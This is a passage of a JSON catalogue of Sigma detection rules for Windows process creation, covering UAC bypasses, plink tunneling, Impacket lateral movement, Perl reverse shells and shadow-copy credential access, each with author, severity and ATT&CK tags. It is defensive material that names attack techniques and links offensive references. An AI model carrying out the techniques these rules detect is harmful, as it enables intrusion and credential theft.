"proc_creation_win_susp_takeown.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml" ], "tags": [ "attack.defense_evasion", "attack.t1222.001" ] }, "related": [ { "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "554601fb-9b71-4bcc-abf4-21a611be4fde", "value": "Suspicious Recursive Takeown" }, { "description": "Detects execution of msiexec from an uncommon directory", "meta": { "author": "Florian Roth", "creation_date": "2019/11/14", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_msiexec_cwd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/200_okay_/status/1194765831911215104", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.005" ] }, "uuid": "e22a6eb2-f8a5-44b5-8b44-a2dbd47b1144", "value": "Suspicious MsiExec Directory" }, { "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_wmp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0058b9e5-bcd7-40d4-9205-95ca5a16d7b2", "value": "UAC Bypass Using Windows Media Player - Process" }, { "description": "Execution of plink to perform data exfiltration and tunneling", "meta": { "author": "Florian Roth", "creation_date": "2022/08/04", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_plink_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1572" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f38ce0b9-5e97-4b47-a211-7dc8d8b871da", "value": "Suspicious Plink Usage RDP Tunneling" }, { "description": "Detects suspicious inline VBScript keywords as used by UNC2452", "meta": { "author": "Florian Roth", "creation_date": "2021/03/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_vbscript_unc2452.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vbscript_unc2452.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "20c3f09d-c53d-4e85-8b74-6aa50e2f1b61", "value": "Suspicious VBScript UN2452 Pattern" }, { "description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", "meta": { "author": "Florian Roth", "creation_date": "2020/07/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_taidoor.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_taidoor.yml" ], "tags": [ "attack.execution", "attack.t1055.001" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d1aa3382-abab-446f-96ea-4de52908210b", "value": "TAIDOOR RAT DLL Load" }, { "description": "Detects the exploitation of PrinterNightmare to get a shell as LOCAL_SYSTEM", "meta": { "author": "Florian Roth", "creation_date": "2021/08/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_exploit_systemnightmare.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/GossiTheDog/SystemNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_systemnightmare.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c01f7bd6-0c1d-47aa-9c61-187b91273a16", "value": "SystemNightmare Exploitation Script Execution" }, { "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) process patterns - suspicious parents / children, execution folders, command lines etc.", "meta": { "author": "Florian Roth", "creation_date": "2022/10/14", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_wermgr.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", "https://www.echotrail.io/insights/search/wermgr.exe", "https://github.com/binderlabs/DirCreate2System", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml" ], "tags": "No established tags" }, "uuid": "396f6630-f3ac-44e3-bfc8-1b161bc00c4e", "value": "Suspicious WERMGR Process Patterns" }, { "description": "Detects suspicious process related to rasdial.exe", "meta": { "author": "juju4", "creation_date": "2019/01/16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_rasdial_activity.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/subTee/status/891298217907830785", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rasdial_activity.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6bba49bf-7f8c-47d6-a1bb-6b4dece4640e", "value": "Suspicious RASdial Activity" }, { "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n", "meta": { "author": "Florian Roth", "creation_date": "2022/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_missing_spaces.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/cyb3rops/status/1562072617552678912", "https://ss64.com/nt/cmd.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a16980c2-0c56-4de0-9a79-17971979efdd", "value": "Missing Space Characters in Command Lines" }, { "description": "Detects defence evasion attempt via odbcconf.exe execution to load DLL", "meta": { "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate use of odbcconf.exe by legitimate user" ], "filename": "proc_creation_win_susp_odbcconf.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", "https://twitter.com/Hexacorn/status/1187143326673330176", "https://redcanary.com/blog/raspberry-robin/", "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.008" ] }, "related": [ { "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "65d2be45-8600-4042-b4c0-577a1ff8a60e", "value": "Application Whitelisting Bypass via DLL Loaded by odbcconf.exe" }, { "description": "Detects usage of \"MSPUB\" (Microsoft Publisher) to download arbitrary files", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_mspub_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3b3c7f55-f771-4dd6-8a6e-08d057a17caf", "value": "Download Arbitrary Files Via MSPUB.EXE" }, { "description": "Detects usage of Dsacls to grant over permissive permissions", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/20", "falsepositive": [ "Legitimate administrators granting over permissive permissions to users" ], "filename": "proc_creation_win_dsacls_abuse_permissions.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", "https://ss64.com/nt/dsacls.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "01c42d3c-242d-4655-85b2-34f1739632f7", "value": "Abusing Permissions Using Dsacls" }, { "description": "Detects execution of perl using the \"-e\"/\"-E\" flags. This is could be used as a way to launch a reverse shell or execute live perl code.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_perl_inline_command_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_perl_inline_command_execution.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f426547a-e0f7-441a-b63e-854ac5bdf54d", "value": "Perl Inline Command Execution" }, { "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", "meta": { "author": "frack113", "creation_date": "2022/05/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_gpresult.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml" ], "tags": [ "attack.discovery", "attack.t1615" ] }, "related": [ { "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e56d3073-83ff-4021-90fe-c658e0709e72", "value": "Gpresult Display Group Policy Information" }, { "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz", "meta": { "author": "Georg Lauenstein", "creation_date": "2022/09/19", "falsepositive": [ "Other programs that use the same command line flags" ], "filename": "proc_creation_win_winpeas_tool.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/carlospolop/PEASS-ng", "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winpeas_tool.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1082", "attack.t1087", "attack.t1046" ] }, "uuid": "98b53e78-ebaf-46f8-be06-421aafd176d9", "value": "Detect Execution of winPEAS" }, { "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", "meta": { "author": "Austin Songer (@austinsonger)", "creation_date": "2021/10/21", "falsepositive": [ "Legitimate usage of stordiag.exe." ], "filename": "proc_creation_win_stordiag_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", "https://twitter.com/eral4m/status/1451112385041911809", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "961e0abb-1b1e-4c84-a453-aafe56ad0d34", "value": "Execution via stordiag.exe" }, { "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework", "meta": { "author": "Ecco, oscd.community, Jonhnathan Ribeiro", "creation_date": "2019/09/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_impacket_lateralization.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml" ], "tags": [ "attack.execution", "attack.t1047", "attack.lateral_movement", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "10c14723-61c7-4c75-92ca-9af245723ad2", "value": "Impacket Lateralization Detection" }, { "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", "meta": { "author": "Julia Fomina, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate use of Pester for writing tests for Powershell scripts and modules" ], "filename": "proc_creation_win_susp_pester.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Oddvarmoe/status/993383596244258816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "59e938ff-0d6d-4dc3-b13f-36cc28734d4e", "value": "Execute Code with Pester.bat" }, { "description": "Detects creation of a new service.", "meta": { "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Legitimate administrator or user creates a service for legitimate reasons." ], "filename": "proc_creation_win_new_service_creation.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_service_creation.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "7fe71fc9-de3b-432a-8d57-8c809efc10ab", "value": "New Service Creation" }, { "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", "meta": { "author": "pH-T", "creation_date": "2022/07/15", "falsepositive": [ "Software installation" ], "filename": "proc_creation_win_schtasks_once_0000.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml" ], "tags": "No established tags" }, "uuid": "970823b7-273b-460a-8afc-3a6811998529", "value": "Uncommon Scheduled Task Once 00:00" }, { "description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", "meta": { "author": "Florian Roth", "creation_date": "2021/07/14", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml" ], "tags": [ "attack.persistence", "attack.t1136.001", "cve.2021.35211" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75578840-9526-4b2a-9462-af469a45e767", "value": "Serv-U Exploitation CVE-2021-35211 by DEV-0322" }, { "description": "Detects a command that accesses password storing registry hives via volume shadow backups", "meta": { "author": "Max Altgelt, Tobias Michalski", "creation_date": "2021/08/09", "falsepositive": [ "Some rare backup scenarios" ], "filename": "proc_creation_win_malware_conti_shadowcopy.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d", "value": "Sensitive Registry Access via Volume Shadow Copy" }, { "description": "Detects suspicious parent process for cmd.exe", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_unusual_parent_for_cmd.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_parent_for_cmd.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b", "value": "Unusual Parent Process for cmd.exe" }, { "description": "Detects base64 encoded powershell 'Invoke-' call", "meta": { "author": "pH-T", "creation_date": "2022/05/20", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_base64_invoke.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_invoke.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6385697e-9f1b-40bd-8817-f4a91f40508e", "value": "Suspicious Base64 Encoded Powershell Invoke" }, { "description": "This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files.", "meta": { "author": "Sreeman, Florian Roth", "creation_date": "2022/01/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_headless_browser_file_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1478234484881436672?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0e8cfe08-02c9-4815-a2f8-0d157b7ed33e", "value": "File Download with Headless Browser" }, { "description": "Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_pkgmgr_dism.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_pkgmgr_dism.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a743ceba-c771-4d75-97eb-8a90f7f4844c", "value": "UAC Bypass Using PkgMgr and DISM" }, { "description": "Detect usage of the \"runexehelper.exe\" binary as a proxy to launch other programs", "meta": { "author": "frack113", "creation_date": "2022/12/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_runexehelper.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/", "https://twitter.com/0gtweet/status/1206692239839289344", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd71385d-fd9b-4691-9b98-2b1f7e508714", "value": "Lolbin Runexehelper Use As Proxy" }, { "description": "Detects SharpLdapWhoami, a whoami alternative by asking the LDAP service on a domain controller", "meta": { "author": "Florian Roth", "creation_date": "2022/08/29", "falsepositive": [ "Programs that use the same command line flags" ], "filename": "proc_creation_win_hack_sharpldapwhoami.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/bugch3ck/SharpLdapWhoami", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpldapwhoami.yml" ], "tags": [ "attack.discovery", "attack.t1033", "car.2016-03-001" ] }, "uuid": "d9367cbb-c2e0-47ce-bdc0-128cb6da898d", "value": "SharpLdapWhoami" }, { "description": "Detects Winword process loading custmom dlls via the '/l' switch.\nWinword can be abused as a LOLBIN to download arbitrary file or load arbitrary DLLs.\n", "meta": { "author": "Nasreddine Bencherchali, Victor Sergeev, oscd.community", "creation_date": "2022/05/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_winword.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_winword.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4ae3e30b-b03f-43aa-87e3-b622f4048eed", "value": "Winword LOLBIN Usage" }, { "description": "Detects Trojan loader activity as used by APT28", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", "creation_date": "2018/03/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_sofacy.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", "https://twitter.com/ClearskySec/status/960924755355369472", "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml" ], "tags": [ "attack.g0007", "attack.execution", "attack.t1059.003", "attack.defense_evasion", "car.2013-10-002", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ba778144-5e3d-40cf-8af9-e28fb1df1e20", "value": "Sofacy Trojan Loader Activity" }, { "description": "Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion", "meta": { "author": "frack113", "creation_date": "2022/01/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uninstall_sysmon.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_sysmon.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "6a5f68d1-c4b5-46b9-94ee-5324892ea939", "value": "Uninstall Sysinternals Sysmon" }, { "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", "meta": { "author": "frack113", "creation_date": "2022/01/16", "falsepositive": [ "Legitimate script" ], "filename": "proc_creation_win_dsim_remove.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism", "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "43e32da2-fdd0-4156-90de-50dfd62636f9", "value": "Dism Remove Online Package" }, { "description": "Detecting DNS tunnel activity for Muddywater actor", "meta": { "author": "@caliskanfurkan_", "creation_date": "2020/06/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_muddywater_dnstunnel.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.vmray.com/analyses/5ad401c3a568/report/overview.html", "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/", 